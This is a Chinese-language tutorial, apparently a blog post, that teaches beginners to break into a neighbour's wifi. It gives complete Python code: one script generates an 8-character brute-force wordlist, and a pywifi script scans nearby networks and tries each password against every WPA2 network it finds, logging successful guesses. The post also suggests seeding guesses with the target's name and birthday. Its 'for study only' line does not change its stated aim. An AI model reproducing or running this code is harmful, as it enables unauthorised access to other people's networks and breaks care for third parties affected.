哈哈家里是不是有没网了? 想蹭邻居家的wifi看这篇文章就够了!!! 那么首先你要准备什么呢,首先要有个电脑,然后跟着教程做就行了.
1.安装python 环境打开python官网 www.python.org/downloads/
2.然后打开安装程序, 选择安装即可
3.如果上面的步骤完成后你就可以尝试运行python看看是否安装成功,按住win+r 键,输入python
你会看见python的交互窗口
好如果你成功看见交互窗口证明你python 已经安装成功了, 你可以关闭窗口了,接下来就是代码部分.破解密码首先需要的是密码, 首先我们要写代码生成一个密码本,开始写代码了!首先创建一个文件名字为password.py 的文件
文件创建成功后用记事本打开
然后将下面的代码粘贴上去, 这个代码主要是生成长度为8位, 数字加小写字母的密码本
import itertools as its
def run_numonly(length, filename):
global words
words = "1234567890qwertyuiopasdfghjklzxcvbnm"
r = its.product(words, repeat=length)
dic = open(filename, 'a')
for i in r:
dic.write("".join(i))
dic.write("".join("\n"))
dic.close()
if __name__ == "__main__":
run_numonly(8, "password.txt")
好下面如何执行代码, window+R 输入cmd
然后使用 盘符命令和 cd命令 进入你代码的所在地点, 如果是第一次用python的建议你将文件创建在桌面,这样就可以和我的教程同步,不会出现不必要的麻烦, 首先CD进入桌面
cd Desktop
然后就是运行代码
python password.py
代码运行1-2分钟后关闭后关闭窗口即可, 因为数字+字母生成8位的密码文件实在太大需要的时间太长... 这里我展示给大家看,这是运行10分钟的结果,密码文件就32G,
接下来用记事本打开password.txt,如果你打不开文件可能是文件太大,不用着急可以看这里, 他是从数字到字母有序排列,列出8位数字加字母的所有组合,
有了密码就开始用这个密码挨个尝试了,当然人工尝试太麻烦我们还是用python,借助python的 pywifi模块,pywifi 提供了一个用于操作无线接口的跨平台模块
开始 安装 pywifi, window+R 输入cmd, 然后将下面的命令输入终端
pip install pywifi
我这里安装过了可能出现的结果和你们不太一样,耐心等待即可
下面就是代码了创建文件main.py
用记事本打开文件,将下面的代码粘贴上去, 这个代码主要做了,三件事情
1扫描所有wifi
2用生成的密码破解,扫描到的所有wifi
3破解成功记录密码
# coding:utf-8
# coding:gbk
import time # 时间
import pywifi # 破解wifi
from pywifi import const # 引用一些定义
from asyncio.tasks import sleep
# 需要第三方库 pywifi (python3 pip install pywifi)
# 功能:
# 1、扫描周围wifi列表 将ssid写入文本
# 2、读取密码字典进行匹配
class PoJie():
###
# 初始化
###
def __init__(self, ssidfile, pwdfile, resfile): # 类初始化
self.resfile = resfile # 破解结果文本文件
self.pwdfile = pwdfile # 密码字典文本文件
self.ssidfile = ssidfile # wifi的ssid列表文件
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.iface = wifi.interfaces()[0] # 抓取第一个无线网卡
self.iface.disconnect() # 测试链接断开所有链接
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态,
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
###
#读取密码本
###
def readPassWord(self, wifissid): # 读取密码字典,进行匹配
print("开始破解: %s" % wifissid)
# 将结果写入文本文件记录
res = "开始破解:: %s \n" % wifissid;
open(self.resfile, "a",encoding= "utf-8").write(res)
pwdfilehander = open(self.pwdfile, "r",encoding= "utf-8", errors="ignore")
while True:
try:
myStr = pwdfilehander.readline()
if not myStr:
break
bool1 = self.test_connect(myStr, wifissid)
if bool1:
# print("密码正确:"+myStr)
# res = "密码:%s 正确 \n"%myStr;
res = "===正确=== ^_^ wifi名:%s 匹配密码:%s " % (wifissid, myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile, "a",encoding= "utf-8").write(res)
break
else:
# print("密码:"+myStr+"错误")
res = "---错误--- wifi名:%s匹配密码:%s" % (wifissid, myStr);
print(res)
# 将结果写入文本文件记录
open(self.resfile, "a",encoding= "utf-8").write(res)
sleep(3)
except:
continue
# 读取wifi的ssid列表、读取密码字典,进行匹配
def foreachPassWord(self):
print("^_^开始读取wifi的ssid列表...")
ssidfilehander = open(self.ssidfile, "r", encoding= "utf-8",errors="ignore")
ssidStrs = ssidfilehander.readlines()
# print(ssidStrs)
for index in range(len(ssidStrs)):
self.readPassWord(ssidStrs[index])
print("执行完毕! ^_^")
# 扫描周边wifi列表 并写入文本中(一行一个)
def scans_wifi_list(self): # 扫描周围wifi列表
# 开始扫描
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
# 在若干秒后获取扫描结果
scanres = self.iface.scan_results()
# 统计附近被发现的热点数量
nums = len(scanres)
# print("|SCAN GET %s"%(nums))
print("数量: %s" % (nums))
# 在控制台表格输出 扫描列表
# 表格 标题行
# print ("%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70))
print("| %s | %s | %s | %s" % ("WIFIID", "SSID", "BSSID", "signal"))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res): # 显示扫描周围wifi列表
# 开始扫描
# self.scans_wifi_list()
for index, wifi_info in enumerate(scans_res):
# print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal))
print("| %s | %s | %s | %s \n" % (index, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
print("^_^ 扫描结束. ^_^")
print("^_^ 先预览. ^_^")
for index, wifi_info in enumerate(scans_res):
res = "%s\n" % wifi_info.ssid; # wifi的ssid名
print(res)
print("^_^ 预览结束. ^_^")
print("^_^ 开始写入... ^_^")
for index, wifi_info in enumerate(scans_res):
res = "%s\n" % wifi_info.ssid; # wifi的ssid名
# 将wifi的ssid名写入文本文件记录
# ssidfilehandle = open(self.ssidfile,"a").write(res)
open(self.ssidfile, "a", encoding= "utf-8").write(res)
print("^_^ 写入结束. ^_^")
# ssidfilehandle.close()
def test_connect(self, findStr, wifissid): # 测试链接
profile = pywifi.Profile() # 创建wifi链接文件
# profile.ssid ="e2" #wifi名称
# profile.ssid ="1104" #wifi名称
# profile.ssid ="1601" #wifi名称
profile.ssid = wifissid # wifi名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = findStr # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
# def __del__(self):
# ssidfilehandle.close()
# 引入 配置参数 相对路径写法
pwdfile = "password.txt" # 密码字典文本路径
resfile = "pj_res.txt" # 结果文本文件保存路径
ssidfile = "wifi_ssid_list.txt" # wifi的ssid的列表保存路径
start = PoJie(ssidfile, pwdfile, resfile) # 实例化类
# 扫描周边wifi列表
start.scans_wifi_list()
# 读取密码字典、读取wifi的ssid列表、将结果写入文本文件
start.foreachPassWord()
当然破解密码也不是那么简单的需要几天的时间, 这里只做学习和研究, 当然如果你知道密码长度, 有没有字母和特殊符号这无疑会减少你的时间, 如果你真想破解wifi,建议深入研究密码学,如果你知道对方名字生日,可以把这些当作参数放进去生成密码... 这些我以后介绍 接下来运行代码 windows+R 输入cmd
然后进入终端输入
python main.py
下面是运行结果, 破解所需时间太长...